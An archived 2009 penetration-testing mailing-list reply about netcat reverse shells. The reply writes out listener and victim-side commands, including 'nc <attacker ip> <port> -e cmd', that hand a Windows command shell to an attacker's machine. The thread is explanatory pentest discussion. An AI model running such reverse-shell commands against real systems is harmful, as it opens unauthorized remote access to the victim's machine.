Penetration Testing mailing list archives

Re: Netcat reverse shell and ftp


From: Giuseppe Fuggiano <giuseppe.fuggiano () gmail com>
Date: Sun, 25 Jan 2009 11:40:47 +0100

2009/1/24 Avaya.Toons <avaya.toons () gmail com>:
Hello all,
Can any one show me how an intruder could ftp back to his machine
using a reverse nc session.
The ftp server back in the attacker machine needs authentication.

attacker>nc -L -P 23

This listen to the port 23 at the attacker.

victim>cmd | nc attacker 23

This is not clear for me.  I guess that "victim>" is a shell of some
kind you didn't specified.  Maybe a Windows shell.  If you can execute
commands on the remote victim, why do you want to use FTP protocol?
FTP protocol is for file transfer between two hosts.  If you just want
to transfer files, you could use netcat itself easily.

However, a reverse shell using netcat under Windows could be done as follows:

attacker> nc -L -P <your port>

victim> nc <attacker ip> <your port> -e cmd

and a prompt should shown, even if it's the victim who does the
outbound connection (and not inbound).

Correct me if I am wrong.  Cheers.

-- 
Giuseppe Fuggiano
Linux user n. #483710



Current thread: